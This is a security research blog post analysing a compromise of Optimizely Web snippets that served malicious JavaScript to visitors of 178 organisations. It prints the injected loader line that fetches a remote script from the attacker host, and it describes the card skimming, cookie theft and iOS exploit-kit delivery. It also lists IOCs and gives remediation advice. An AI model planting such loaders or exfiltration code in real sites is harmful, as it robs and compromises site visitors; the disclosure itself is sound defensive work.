---
title: "World's Largest Brands Infected With Malware Via Optimizely"
slug: worlds-largest-brands-infected-with-malware-via-optimizely
url: https://listedarticles.com/articles/worlds-largest-brands-infected-with-malware-via-optimizely
canonical_url: https://blog.report-uri.com/worlds-largest-brands-infected-with-malware-via-optimizely/
content_type: research
language: en
published_at: 2026-11-16T22:47:52.000Z
updated_at: 2026-11-17T01:56:35.652Z
author: "Scott Helme"
authored_by: human
publisher: "Report URI"
publisher_url: https://report-uri.com/
topics: ["security", "web-development"]
about: ["https://listedstartups.com/companies/optimizely"]
license: all-rights-reserved
word_count: 3044
reading_minutes: 13
citation: "Scott Helme, Report URI. \"World's Largest Brands Infected With Malware Via Optimizely.\" 16 Nov 2026. https://blog.report-uri.com/worlds-largest-brands-infected-with-malware-via-optimizely/ (all-rights-reserved)"
# The full text follows. The web page shows an extract and sends readers
# to the source above; quote the citation and link the canonical URL.
---

# World's Largest Brands Infected With Malware Via Optimizely

> Report URI's analysis of the 16 Nov 2026 Optimizely Web compromise: malicious JavaScript served to visitors of 178 organisations including Zoom, BBC, CNN, Salesforce and GitLab, swapping crypto addresses, skimming cards, stealing cookies and delivering iOS exploit kits, with IOCs.

On 16 November 2026, malicious JavaScript was served to visitors of **178 organisations** through the Optimizely Web experimentation platform. The list includes some of the most visited sites in the world: **Zoom, the BBC, CNN, Salesforce, GitLab, IKEA, HSBC, Equifax, Air France-KLM, Ledger and Peacock**.

The malware was a multi-purpose kit. It swapped cryptocurrency wallet addresses for the attacker's, skimmed payment cards, stole cookies and screenshots, and on iPhones and iPads it delivered the **Coruna and DarkSword iOS exploit kits**. Crypto has already been stolen, with verified transactions to the attackers.

**This is exactly the kind of attack Report URI is designed to detect.** Our platform can identify unexpected changes to trusted JavaScript, detect new scripts being loaded and reveal suspicious connections to external destinations. In this case, those signals would have exposed the malicious activity, even though the original script was being served from a trusted Optimizely domain. With an appropriate CSP in enforcement mode, organisations could have gone a step further and blocked key parts of the attack before they succeeded.

The important lesson here is that **trusted JavaScript doesn't always remain trustworthy**. A website can be compromised through a third-party dependency without its own code or infrastructure ever being breached.

Most of the malicious code has now been removed. At 21:52 UTC we found it in only 1 of the 188 infected snippets, down from 169 at 20:56 UTC. If your site uses Optimizely Web, or you visited any of the sites below today, read on.

## What happened

Optimizely Web works by having each customer load a JavaScript "snippet" from Optimizely's CDN, for example `https://cdn.optimizely.com/js/6395285578973184.js`. The snippet contains Optimizely's code, the customer's experiments and an optional field called **Project JavaScript** (`projectJS`): custom code the customer writes in their Optimizely dashboard, which runs on every page.

The attacker wrote their own code into the Project JavaScript of customer projects, and the rest of each snippet was untouched. The file was still served from `cdn.optimizely.com`, with Optimizely's certificate, from a host that every affected site already trusted. Here is what was added to Zoom's snippet:

```
"projectJS": function(){(function(){try{var s=document.createElement('script');s.src='https://1688360.cc/track.js';s.async=true;(document.head||document.documentElement).appendChild(s);}catch(e){}})();
```

We saw three versions of the injected loader:

1. **A plain `<script>` tag** pointing at `https://1688360.cc/track.js` (most snippets).
2. **The same URL hidden in base64** with `atob()`. A search for "1688360.cc" won't find it. Smartsheet's snippet was cleaned at one point and then re-infected with this version, so whoever wrote the code still had access at the time.
3. **A full inline copy of the payload**, which runs through `eval` if `1688360.cc` is blocked.

Some customers serve their snippet from their own domain, such as `opt.scheels.com/js/<id>.js` or `www.vodafone.com.au/js/<id>.js`. Those were affected too, because the content comes from the same Optimizely project.

**We don't know how the attacker got write access** to so many unrelated customer projects: a compromised Optimizely system, a compromised credential with cross-customer access, or something else. That's for Optimizely to explain. To be clear, Optimizely's CDN served exactly what it was given; this was not a CDN cache-poisoning attack. Optimizely's own sites were affected as well: the snippets for `www.optimizely.com` and `login.optimizely.com` both carried the code.

## Timeline (UTC)

| Time | Event |
| --- | --- |
| Sep 17 | `webshell.lol`, the same actor's injector, first appears on Turkish sites through an SEO "backlink panel" script |
| Nov 09 17:52 | `5vobauua3ojpklx.icu` registered (iOS exploit-kit router) |
| Nov 13 to 11-16 | **Earlier wave:** `webshell.lol/get.js` injected through **Kissmetrics**, **StorifyMe** and **Minute Media** scripts on sites including securitybank.com, faz.net, smh.com.au, vidaxl and foxsports.com |
| Nov 16 02:21 | Last clean urlscan capture of the BBC's Optimizely snippet |
| **Nov 16 04:21** | **First Optimizely injection seen** (BBC snippet loading `webshell.lol`) |
| 04:28 to 05:23 | `1688360.cc` certificates issued; domain registered at 05:23 |
| 08:10 | First build of `track.js` (crypto clipper) |
| 08:28 | `1688360.cc/track.js` first seen on bbc.com |
| 11:20 | Zoom's snippet modified (its `Last-Modified` header) |
| 13:03 | Attacker sweeps stolen crypto to exchanges |
| 13:43 | Card skimmer added to `track.js` |
| 16:38 | `eil786npto9u5bq.icu` registered (second iOS router) |
| 17:13 to 17:57 | Second iOS host added; Coruna iframe injected into every iOS 18.6-or-earlier visit |
| 19:24 to 19:59 | Our sweep: **186 of 1,611** Optimizely snippets infected |
| ~20:40 to 21:10 | Mass clean-up (Ledger 20:41, Smartsheet 20:56, BBC 21:07) |
| 21:52 | 1 of 188 snippets still infected (TalkTalk) |

The payload was rebuilt **26 times** during the day. The attacker added features, and added wallets but never removed any.

## What the payload does

Every visitor received the same script, `track.js`, and every part of it was active at once. What a visitor experienced depended on their device and what they did on the page.

### 1. Crypto address swapping (already stealing money)

The script finds any valid wallet address (BTC, ETH and EVM chains, TRON, Solana, TON, Litecoin, Bitcoin Cash, Dogecoin) and replaces it with one of the attacker's. It validates checksums so it only swaps real addresses. It swaps them in:

- page text, form fields, links and images;
- the clipboard, on copy and through `navigator.clipboard`;
- outgoing `fetch`/XHR requests, `window.open`, navigation and the iOS share sheet.

It re-scans the page whenever it changes. Copy an address from any affected page, or from anywhere else while that tab is open, and you may paste the attacker's.

### 2. Card skimming

Added at 13:43 UTC. The script watches form submissions and every `fetch`/XHR POST for a card number (Luhn-checked), expiry date and CVV. When it has all three, it sends them to `https://1688360.cc/card.php` with `navigator.sendBeacon`. Cards entered in hosted payment iframes (Stripe, Adyen and similar) were out of its reach. Cards typed into a site's own form fields were not.

### 3. Cookie and screenshot theft

When it swaps an address next to wallet or payment wording, it sends the following to `https://1688360.cc/hit.php`:

- the page URL;
- `document.cookie` (cookies not marked `HttpOnly`);
- the original addresses it replaced;
- a screenshot of the page, rendered with html2canvas.

### 4. iOS exploit kits: Coruna and DarkSword

On iPhones and iPads the script loads `boot.js` from `5vobauua3ojpklx.icu` and `eil786npto9u5bq.icu`. It reads the iOS version and loads an exploit chain in a hidden iframe:

| iOS version | Chain |
| --- | --- |
| 13 to 17 | **Coruna** (`/A8/`, plus a direct Coruna loader at `/JIUJIU888/index.js`) |
| 18.x | **DarkSword** (`/B9/`, `/D11/`, `/D12/`) |
| 26 | Separate chain (`/C10/`); currently only fingerprints the device |

The Coruna loader is byte-identical to a sample we analysed in October from a different campaign. The kit's own comments say iOS 18.7.3 and later, and 26.3 and later, are patched. Pages on iOS 18.6 or earlier reload every 60 seconds to retry the exploit, which is a visible symptom.

![](https://storage.ghost.io/c/2d/aa/2daa4f7f-a71b-47d2-a54c-06b8c60222ef/content/images/2026/11/Screenshot-2026-11-16-214353.png)

## Money stolen so far

As of 19:25 UTC on 16 November, the attacker's wallets had received about **$7,040**, all within roughly nine hours on the 16th:

| Wallet | Received | ≈ USD |
| --- | --- | --- |
| BTC `19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW` | 0.08298 BTC (4 tx), unspent | $5,380 |
| LTC `ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5` | 17.02 LTC (3 tx) | $762 |
| TRON `THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa` | 662.9 USDT + 184 TRX | $719 |
| ETH `0xC4026b06D82b0F0B363eda0642D61CfbDc17884e` | 0.055 ETH | $100 |
| BSC (same 0x address) | 82 USDT | $82 |

Funds were swept out at 13:03 to 13:05 UTC. The USDC on Ethereum went to a **HitBTC deposit address**. The TRON wallet has been in use since **March 2026**, so this actor was active long before this campaign. We cannot see how many cards or cookies reached `1688360.cc`.

## Who was affected

We fetched **1,611 distinct Optimizely snippets**, found mostly through our own crawl data, and checked each one for the malicious code. **188 snippets belonging to 178 organisations were infected.** We kept a copy of every infected file, along with its response headers, SHA-256 hash and fetch time as evidence. The real number is likely higher as we could only check snippets we could find in time.

### By sector

| Sector | Orgs | Examples |
| --- | --- | --- |
| Banking & Finance | 32 | Paychex, HSBC US, Equifax, SmartAsset, HSBC Hong Kong |
| Technology & SaaS | 23 | Zoom, Bitly, Salesforce, GitLab, Optimizely |
| Retail & Fashion | 20 | IKEA, ASOS, Mattel, American Eagle, Scheels |
| Streaming & Entertainment | 12 | Peacock, D&D Beyond, Wizards of the Coast, NOW TV, Zattoo |
| News & Media | 10 | CNN, BBC, Fox News, NPR, CTV News |
| Airlines & Travel | 9 | Alaska Airlines / Hawaiian Airlines, Transavia, Air France-KLM, KLM Netherlands, Trafalgar |
| Healthcare & Pharma | 8 | Invisalign, Takeda, Covetrus, iTero (Align), Covetrus Pharmacy |
| Industrial & Manufacturing | 8 | Fluke, eMaint (Fluke), Fluke Networks, Vaillant Germany, Fluke Process Instruments |
| Telecoms | 7 | Virgin Media, Virgin Media O2, Vodafone Australia, O2, TPG Telecom |
| Crypto & Trading | 6 | Ledger, IG, OANDA / Coinpass, interactive investor, TMS Brokers |
| Insurance | 6 | Asurion / uBreakiFix, Mutual of Omaha, Admiral, Securian Financial, eRenterPlan |
| Property & Real Estate | 6 | Buildium (managebuilding.com), Loft Living apartments, Buildium, HireAHelper, Flytte.no (and sister comparison sites) |
| Food & Hospitality | 5 | Restaurant ordering sites (order.online), Heineken, Home Chef, Starbucks Canada, Cinnabon |
| Home & Smart Home | 5 | Resideo, Honeywell Home, myQ (Chamberlain), Chamberlain, First Alert |
| Nonprofit & Civic | 4 | Change.org, ASPCA, UNICEF USA, DonorsChoose |
| Gambling | 4 | Betsson, PokerStars, tombola, Betfred |
| Professional Services | 4 | Freshfields, CohnReznick, Baringa, Cro Metrics |
| Logistics & Shipping | 3 | ShipStation / ShipEngine, Stamps.com, ShipEngine |
| Automotive | 3 | Lucid Motors, O'Brien Glass, Chevrolet dealer network (Bill Rapp and others) |
| Education | 3 | Walden University, Perlego, Chamberlain University |

### Full list

Ranked by Tranco position within each sector and the status at 21:52 UTC: **every snippet except TalkTalk's had been cleaned.**

### Banking & Finance (32)

| Organisation | Domains |
| --- | --- |
| Paychex | `www.paychex.com` |
| HSBC US | `www.us.hsbc.com` |
| Equifax | `equifax.com`, `my.equifax.com`, `signin.my.equifax.com`, `www.equifax.com` |
| SmartAsset | `smartasset.com` |
| HSBC Hong Kong | `www.hsbc.com.hk` |
| ABN AMRO | `www.abnamro.de`, `www.abnamro.nl`, `www.abnamromeespierson.be` |
| TaxAct | `www.taxact.com` |
| HSBC Mexico | `www.hsbc.com.mx` |
| HSBC Singapore | `www.insurance.hsbc.com.sg` |
| NetCredit | `www.netcredit.com` |
| Associated Bank | `www.associatedbank.com` |
| S-Pankki | `www.s-pankki.fi` |
| Equifax Canada | `my.equifax.ca`, `www.equifax.ca` |
| Equifax UK | `equifax.co.uk` |
| The Work Number (Equifax) | `theworknumber.com` |
| Funding Circle | `fundingcircle.com`, `www.fundingcircle.com` |
| HSBC Australia | `www.hsbc.com.au` |
| CashNetUSA | `www.cashnetusa.com` |
| OnDeck | `www.ondeck.com` |
| ICS Cards | `www.icscards.nl` |
| HSBC UAE | `www.hsbc.ae` |
| HSBC Malaysia | `www.hsbc.com.my`, `www.hsbcamanah.com.my` |
| Rest Super | `rest.com.au` |
| HSBC Taiwan | `www.hsbc.com.tw` |
| HSBC Vietnam | `www.hsbc.com.vn` |
| HSBC Egypt | `www.hsbc.com.eg` |
| HSBC Philippines | `www.hsbc.com.ph` |
| SmartAdvisor Match (SmartAsset) | `smartadvisormatch.com` |
| Compare Club | `compareclub.com.au` |
| ABN AMRO Lease | `abnamrolease.com` |
| Energy Scout | `energyscout.com.au` |
| Hang Seng Investment | `www.hangsenginvestment.com` |

### Technology & SaaS (23)

| Organisation | Domains |
| --- | --- |
| Zoom | `www.zoom.com`, `zoom.com`, `zoom.us` |
| Bitly | `arcg.is`, `bit.ly`, `bitly.com` |
| Salesforce | `evergage.com`, `exacttarget.com`, `pardot.com`, `salesforce-scrt.com` +4 more |
| GitLab | `about.gitlab.com`, `gitlab.com` |
| Optimizely | `home.optimizely.com`, `login.optimizely.com`, `optimizely.com`, `prep.login.optimizely.com` +1 more |
| Mixpanel | `mixpanel.com` |
| Typeform | `typeform.com`, `www.typeform.com` |
| InMotion Hosting | `www.inmotionhosting.com` |
| Wasabi | `wasabi.com`, `wasabisys.com` |
| Perforce / Zend / Puppet | `www.perforce.com`, `www.puppet.com`, `zend.com` |
| Tableau | `www.tableau.com` |
| Hootsuite | `hootsuite.com`, `www.hootsuite.com` |
| Smartsheet | `de.smartsheet.com`, `es.smartsheet.com`, `fr.smartsheet.com`, `help.smartsheet.com` +2 more |
| MuleSoft | `mulesoft.com`, `www.mulesoft.com` |
| Thales / Imperva | `community-cybersec.thalesgroup.com`, `imperva.com` |
| Tricentis | `www.tricentis.com` |
| Web Hosting Hub | `www.webhostinghub.com` |
| QR Code Generator | `login.qr-code-generator.com`, `www.qr-code-generator.com` |
| ServiceChannel | `preview.servicechannel.com`, `servicechannel.com`, `servicechannel.us` |
| Brandfolder | `brandfolder.com` |
| Intelex | `www.intelex.com` |
| Enverus | `www.enverus.com` |
| Accruent | `www.accruent.com` |

### Retail & Fashion (20)

| Organisation | Domains |
| --- | --- |
| IKEA | `client.home-design.ikea.com` |
| ASOS | `asos.com` |
| Mattel | `creations.mattel.com` |
| American Eagle | `www.ae.com` |
| Scheels | `scheels.com`, `www.scheels.com` |
| Ariat | `www.ariat.com` |
| American Girl | `www.americangirl.com` |
| StackSocial | `www.stacksocial.com` |
| Crocs India | `www.crocs.in` |
| Levi's Japan | `levi.jp` |
| Todd Snyder | `www.toddsnyder.com` |
| Levi's Indonesia | `levi.co.id` |
| Just Russel | `app.brt-4076-credits-in-order-summary.justrussel.de`, `app.rph-487-customer-can-switch-their-pet-to.justrussel.be`, `app.rph-487-customer-can-switch-their-pet-to.justrussel.com`, `app.rph-487-customer-can-switch-their-pet-to.justrussel.fr` +1 more |
| Loloi Rugs | `www.loloirugs.com` |
| Levi's Australia | `levis.com.au` |
| Levi's Malaysia | `levi.com.my` |
| Levi's Philippines | `levi.com.ph` |
| Levi's Singapore | `levi.com.sg` |
| Levi's Korea | `levi.co.kr` |
| Levi's New Zealand | `levis.co.nz` |

### Streaming & Entertainment (12)

| Organisation | Domains |
| --- | --- |
| Peacock | `peacocktv.com`, `www.peacocktv.com` |
| D&D Beyond | `dndbeyond.com`, `www.dndbeyond.com` |
| Wizards of the Coast | `secretlair.wizards.com` |
| NOW TV | `nowtv.com`, `www.nowtv.com` |
| Zattoo | `zattoo.com` |
| Crave | `www.crave.ca` |
| Starz | `www.starz.com` |
| SkyShowtime | `www.skyshowtime.com` |
| Bravo | `www.bravotv.com` |
| SeaWorld | `buschgardens.com`, `seaworld.com` |
| WOW (Sky Deutschland) | `www.wowtv.de` |
| NOW Italia | `www.nowtv.it` |

### News & Media (10)

| Organisation | Domains |
| --- | --- |
| CNN | `cnn.com`, `edition.cnn.com`, `us.cnn.com`, `www.cnn.com` |
| BBC | `www.bbc.co.uk`, `www.bbc.com` |
| Fox News | `www.foxnews.com` |
| NPR | `legacy-s1.npr.org`, `legacy.stage.npr.org`, `media.stage.npr.org`, `s-s1-origin.npr.org` |
| CTV News | `www.ctvnews.ca` |
| Fox Sports | `foxsports.com` |
| BNN Bloomberg / CP24 | `www.bnnbloomberg.ca`, `www.cp24.com` |
| TSN | `www.tsn.ca` |
| Top Gear | `www.topgear.com` |
| BBC Earth | `www.bbcearth.com` |

### Airlines & Travel (9)

| Organisation | Domains |
| --- | --- |
| Alaska Airlines / Hawaiian Airlines | `www.alaskaair.com`, `www.hawaiianairlines.com` |
| Transavia | `www.transavia.com` |
| Air France-KLM | `liberia.klm.com`, `russia.airfrance.com`, `www.klm.be`, `wwws.airfrance.fr` |
| KLM Netherlands | `deal.klm.nl` |
| Trafalgar | `www.trafalgar.com` |
| Contiki | `www.contiki.com` |
| Insight Vacations | `www.insightvacations.com` |
| The Travel Corporation | `uat.costco.ttc.com` |
| Costsaver | `www.costsavertour.com` |

### Healthcare & Pharma (8)

| Organisation | Domains |
| --- | --- |
| Invisalign | `invisalign.com`, `www.invisalign.com` |
| Takeda | `www.takeda.com` |
| Covetrus | `covetrus.com` |
| iTero (Align) | `itero.com` |
| Covetrus Pharmacy | `eastfieldveterinary.covetruspharmacy.com` |
| myCovetrus | `www.mycovetrus.com` |
| RaySafe (Fluke) | `www.raysafe.com` |
| Takeda Oncology | `www.takedaoncology.com` |

### Industrial & Manufacturing (8)

| Organisation | Domains |
| --- | --- |
| Fluke | `fluke.com` |
| eMaint (Fluke) | `www.emaint.com` |
| Fluke Networks | `www.flukenetworks.com` |
| Vaillant Germany | `www.vaillant.de` |
| Fluke Process Instruments | `www.flukeprocessinstruments.com` |
| Fluke Biomedical | `www.flukebiomedical.com` |
| Landauer | `www.landauer.com` |
| Vaillant Spain | `www.vaillant.es` |

### Telecoms (7)

| Organisation | Domains |
| --- | --- |
| Virgin Media | `virginmedia.com`, `www.virginmedia.com` |
| Virgin Media O2 | `virginmediao2.co.uk`, `www.virginmediao2.co.uk` |
| Vodafone Australia | `www.vodafone.com.au` |
| O2 | `o2.co.uk`, `www.o2.co.uk` |
| TPG Telecom | `www.tpg.com.au` |
| Mint Mobile | `www.mintmobile.com` |
| TalkTalk | `talktalk.co.uk`, `www.talktalk.co.uk` |

### Crypto & Trading (6)

| Organisation | Domains |
| --- | --- |
| Ledger | `ledger.com`, `www.ledger.com` |
| IG | `www.ig.com` |
| OANDA / Coinpass | `oanda.com`, `www.oanda.com` |
| interactive investor | `www.ii.co.uk` |
| TMS Brokers | `www.tms.pl` |
| Betashares | `www.betashares.com.au` |

### Insurance (6)

| Organisation | Domains |
| --- | --- |
| Asurion / uBreakiFix | `www.asurion.com`, `www.ubreakifix.com` |
| Mutual of Omaha | `moocat.mutualofomaha.com`, `www.mutualofomaha.com` |
| Admiral | `www.admiral.com` |
| Securian Financial | `www.securian.com` |
| eRenterPlan | `erenterplan.com` |
| AKA (Danish unemployment fund) | `www.aka.dk` |

### Property & Real Estate (6)

| Organisation | Domains |
| --- | --- |
| Buildium (managebuilding.com) | `headwayassetsllc.managebuilding.com` |
| Loft Living apartments | `theapartmentsatkeltonstation.loftliving.com` |
| Buildium | `www.buildium.com` |
| HireAHelper | `qa2.hireahelper.com` |
| Flytte.no (and sister comparison sites) | `flytte.no` |
| MovingPlace | `unionplus-qa4.movingplace.com` |

### Food & Hospitality (5)

| Organisation | Domains |
| --- | --- |
| Restaurant ordering sites (order.online) | `order.online` |
| Heineken | `www.heineken.com` |
| Home Chef | `www.homechef.com` |
| Starbucks Canada | `www.starbucks.ca` |
| Cinnabon | `www.cinnabon.com` |

### Home & Smart Home (5)

| Organisation | Domains |
| --- | --- |
| Resideo | `resideo.com`, `www.resideo.com` |
| Honeywell Home | `www.honeywellhome.com` |
| myQ (Chamberlain) | `www.myq.com` |
| Chamberlain | `www.chamberlain.com` |
| First Alert | `www.firstalert.com` |

### Nonprofit & Civic (4)

| Organisation | Domains |
| --- | --- |
| Change.org | `www.change.org` |
| ASPCA | `aspca.org`, `dev-cloudflare.aspca.org`, `secure.aspca.org`, `www.aspca.org` |
| UNICEF USA | `www.unicefusa.org` |
| DonorsChoose | `www.donorschoose.org` |

### Gambling (4)

| Organisation | Domains |
| --- | --- |
| Betsson | `betsson.bet.ar`, `www.betsson.co`, `www.betsson.com`, `www.betsson1002.com` |
| PokerStars | `www.pokerstars.com`, `www.pokerstars.de`, `www.pokerstars.fr`, `www.pokerstars.pt` +1 more |
| tombola | `tombola.co.uk`, `tombolaarcade.co.uk`, `www.tombola.co.uk`, `www.tombola.it` +1 more |
| Betfred | `www.betfred.com` |

### Professional Services (4)

| Organisation | Domains |
| --- | --- |
| Freshfields | `www.freshfields.com` |
| CohnReznick | `www.cohnreznick.com` |
| Baringa | `www.baringa.com` |
| Cro Metrics | `crometrics.com` |

### Logistics & Shipping (3)

| Organisation | Domains |
| --- | --- |
| ShipStation / ShipEngine | `shipstation.com`, `www.shipstation.com` |
| Stamps.com | `www.stamps.com` |
| ShipEngine | `www.shipengine.com` |

### Automotive (3)

| Organisation | Domains |
| --- | --- |
| Lucid Motors | `lucidmotors.com` |
| O'Brien Glass | `www.obrien.com.au` |
| Chevrolet dealer network (Bill Rapp and others) | `www.billrappchevy.com` |

### Education (3)

| Organisation | Domains |
| --- | --- |
| Walden University | `www.waldenu.edu` |
| Perlego | `www.perlego.com` |
| Chamberlain University | `www.chamberlain.edu` |

The earlier `webshell.lol` wave, through Kissmetrics, StorifyMe and Minute Media, affected other sites and isn't included above.

## How Report URI would have detected, or even prevented, this attack

Every one of these needs only a CSP in Report-Only mode, so nothing on the site breaks:

| Product | What it would have flagged |
| --- | --- |
| **[Script Watch](https://report-uri.com/features/script-watch?ref=blog.report-uri.com)** | A new script dependency on your site: `https://1688360.cc/track.js`, followed by the `.icu` iOS routers. |
| **[Data Watch](https://report-uri.com/features/data-watch?ref=blog.report-uri.com)** | New data destinations: `1688360.cc/hit.php` and `1688360.cc/card.php`. |
| **[Frame Watch](https://report-uri.com/features/frame-watch?ref=blog.report-uri.com)** | A new frame source: `eil786npto9u5bq.icu`, the exploit-kit iframe. |
| **[CSP Integrity](https://report-uri.com/features/csp-integrity?ref=blog.report-uri.com) + [JS Time Machine](https://report-uri.com/features/js-time-machine?ref=blog.report-uri.com) + [Script Vault](https://report-uri.com/features/script-vault?ref=blog.report-uri.com)** | Your Optimizely snippet's fingerprint changing, plus a brand-new script with no matching known file. The JS Time Machine shows when the new version first appeared and how long it was served. |
| **[Threat Intelligence](https://report-uri.com/features/threat-intelligence?ref=blog.report-uri.com)** | Reports naming `5vobauua3ojpklx.icu` and `webshell.lol` are already flagged as IoCs, as are `1688360.cc` and the other hosts below once they were added. |

It's possible to go even further and deploy a CSP that could actively block these attacks and prevent any data breach happening. The websites affected by this attack weren't necessarily running vulnerable code of their own, they were loading JavaScript from a provider they trusted, and that trust was exploited. This is why monitoring what runs in your visitors' browsers is so important. Report URI gives organisations the visibility to detect when trusted dependencies change or behave unexpectedly, and the tools to help enforce policies that prevent malicious scripts and connections from succeeding.

## Did Content Security Policy help?

We crawled 256 of the affected organisations' own hosts and evaluated their CSP against what this payload needs:

1. **Load `track.js`** from `1688360.cc`.
2. **Or run the inline fallback**, which needs `'unsafe-eval'` or `'unsafe-inline'`.
3. **Send stolen data** to `1688360.cc` (`connect-src`).
4. **Load the iOS kit** (`script-src`, `frame-src`).

| Result | Organisations |
| --- | --- |
| No CSP at all | **68** |
| CSP allowed the payload **and** the data theft | **50** |
| Payload ran, but `connect-src` blocked the data theft (the address swapping still worked) | **17** |
| **Payload blocked** | **24 (15%)** |

**Allowing `cdn.optimizely.com` was never going to help.** The malicious code arrived from the trusted host itself. What separated the 24 protected sites from the rest was a restrictive `script-src`. A site that lists only the hosts it needs blocks `1688360.cc`. Two common settings let it straight through:

- **`'strict-dynamic'`**: any script the trusted Optimizely snippet inserts is trusted too.
- `'unsafe-eval'`, which Optimizely's own documentation tells customers to allow: the inline-fallback version ran through `eval` even where `track.js` was blocked. That is what happened at HSBC. Its CSP blocked `track.js` and the data theft, but the inline copy still ran.

**`connect-src` matters.** The 17 "partial" sites blocked card, cookie and screenshot theft because they restrict where the page can send data. That doesn't stop address swapping, which happens inside the page.

## What to do now

**If your site uses Optimizely Web:**

1. Open every project's **Project JavaScript** and every experiment's custom code. Look for `1688360.cc`, `atob(` and any script you didn't write.
2. Review who and what has write access to your Optimizely account (users, API tokens, integrations) and rotate credentials.
3. If you have card fields in your own forms, treat cards entered on 16 November as potentially exposed.
4. Treat any session tokens or secrets in non-`HttpOnly` cookies as exposed, and rotate them.
5. Deploy a CSP. Restrict `connect-src`, avoid `'unsafe-eval'` where you can, and turn on reporting.
6. Consider if you need to communicate to your customers about having served them malware.

**If you visited an affected site on 16 November:**

1. **Update your iPhone or iPad** to iOS 18.7.3 or later, or iOS 26.3 or later.
2. **Check any crypto transfer** you made. If the address you pasted doesn't match the one you meant to pay, it may have been swapped.
3. **Watch your card statements** if you paid by card on an affected site.

## Indicators of compromise

All of these domains are attacker-owned; block them including subdomains.

| Indicator | Role |
| --- | --- |
| `1688360.cc` | C2: `track.js`, `card.php`, `hit.php`, `html2canvas.min.js` (136.113.106.136) |
| `5vobauua3ojpklx.icu` | iOS router `boot.js` (34.96.213.201) |
| `eil786npto9u5bq.icu` | iOS router, Coruna and iOS 26 pages (34.87.36.58) |
| `l7bcsnwc7nzr3uo.icu` | Coruna telemetry, `POST /api/iptj` |
| `webshell.lol` | Injector `get.js` (earlier wave) |
| `linkforge.cc` | SEO-panel script carrying the injector |
| `je4ft3gn8vxudum.icu`, `q1ls1ho9x7wsxlu.icu`, `ios-hack.icu` | Fallback C2s hard-coded in `boot.js` |
| `p55abnw2pnsz0bo.icu`, `1y69gy2mdzaltz1.icu`, `gm38duxoihbmy5o.icu` | Same certificates and IPs as the kit |
| `window._k7`, `window.__k7b` | Global markers set by the payload |
| `data-channel-code="02111110"` | Script-tag attribute on the iOS loader |
| `BIGNIAO` | Coruna telemetry channel code |
| `814a963c0da480e2449d9b6664480156e1cd6d731014117401bf635badec3a0f` | SHA-256, `track.js` (17:13 build) |
| `f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40` | SHA-256, `track.js` (latest build, 17:57) |

**Attacker wallets:**   
BTC `19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW`  
ETH/EVM `0xC4026b06D82b0F0B363eda0642D61CfbDc17884e`  
TRON `THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa`  
SOL `FVtL8NMYS9PA1v3HE67XUGCtGA9JaZUvqav2fU2LrV5n`  
TON `UQAgM1VqSZQiJLSG5w-ovurq5CZdxLEK3_7CMmwALTA5e09p`  
LTC `ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5`  
BCH `qzkaaf8n6grmpr0d9lx8xutn3r9lk722f566hhpe58`  
DOGE `DBEGrxRF7KMSuhTS4c1MFviStU6efdMnu5`

We keep an archive of every infected snippet with hashes and timestamps, and can share it with affected organisations and CERTs on request. During research and investigation, once we were confident that Optimizely was the source, we began efforts to reach out via various channels and provide the full details. At the time of publication, we have not had any response.


*Originally published on the Report URI blog under CC BY-SA 4.0.*
